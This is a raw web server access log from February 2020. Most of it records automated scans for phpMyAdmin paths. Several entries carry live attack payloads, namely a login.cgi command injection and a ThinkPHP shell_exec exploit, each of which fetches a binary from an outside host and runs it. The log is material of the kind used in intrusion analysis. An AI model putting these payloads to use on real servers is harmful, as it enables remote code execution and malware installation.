46.97.76.238 - - [23/Feb/2020:06:21:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
43.226.156.55 - - [23/Feb/2020:06:21:19 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:20 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:20 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:20 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:20 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:21 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:21 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:21 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:22 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:22 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:22 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:23 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:24 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:26 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:27 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:27 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:27 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:27 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:28 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:28 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:28 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:28 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:29 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:29 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:29 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:29 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:30 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:30 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:31 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:31 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:31 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:31 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:32 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:33 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
46.97.76.238 - - [23/Feb/2020:06:21:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
46.97.76.238 - - [23/Feb/2020:06:21:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
43.226.156.55 - - [23/Feb/2020:06:21:35 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:40 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:47 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:48 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:48 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:49 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:49 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:50 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:50 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:50 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:50 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:51 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:51 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:52 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:52 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:53 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:54 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:54 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:56 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:56 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:56 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:56 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:57 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:58 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:21:59 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:00 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:00 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:00 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:01 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:01 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:01 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:02 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:02 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:03 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:06 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:06 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:07 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:07 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:08 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:08 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:09 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:09 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:10 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:10 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:10 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:11 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:14 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:14 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:14 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:15 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:15 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:17 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:17 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:17 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:18 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:18 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:18 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:22:18 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
109.102.226.187 - - [23/Feb/2020:06:23:05 +0100] "GET /leistungen.php HTTP/1.1" 400 6160 "-" "-"
173.76.38.236 - - [23/Feb/2020:06:27:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.100.114.115 - - [23/Feb/2020:06:27:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.102.226.187 - - [23/Feb/2020:06:34:11 +0100] "GET /praxis.php HTTP/1.1" 400 6160 "-" "-"
193.248.137.98 - - [23/Feb/2020:06:45:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
65.99.152.25 - - [23/Feb/2020:06:49:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.211.134.37 - - [23/Feb/2020:06:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0"
175.111.180.74 - - [23/Feb/2020:06:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
218.158.126.72 - - [23/Feb/2020:06:55:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [23/Feb/2020:06:55:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [23/Feb/2020:06:55:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [23/Feb/2020:06:55:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [23/Feb/2020:06:55:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
109.102.226.187 - - [23/Feb/2020:06:56:05 +0100] "GET /referenzen.html HTTP/1.1" 400 7600 "-" "-"
109.102.226.187 - - [23/Feb/2020:06:56:05 +0100] "GET /impressum.html HTTP/1.1" 400 6160 "-" "-"
109.102.226.187 - - [23/Feb/2020:06:56:05 +0100] "GET /leistungen.html HTTP/1.1" 400 7610 "-" "-"
109.102.226.187 - - [23/Feb/2020:06:56:05 +0100] "GET /uns.html HTTP/1.1" 400 6160 "-" "-"
119.18.147.223 - - [23/Feb/2020:06:56:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
103.90.206.68 - - [23/Feb/2020:06:59:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:07:00:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:07:01:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.8.66.59 - - [23/Feb/2020:07:02:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
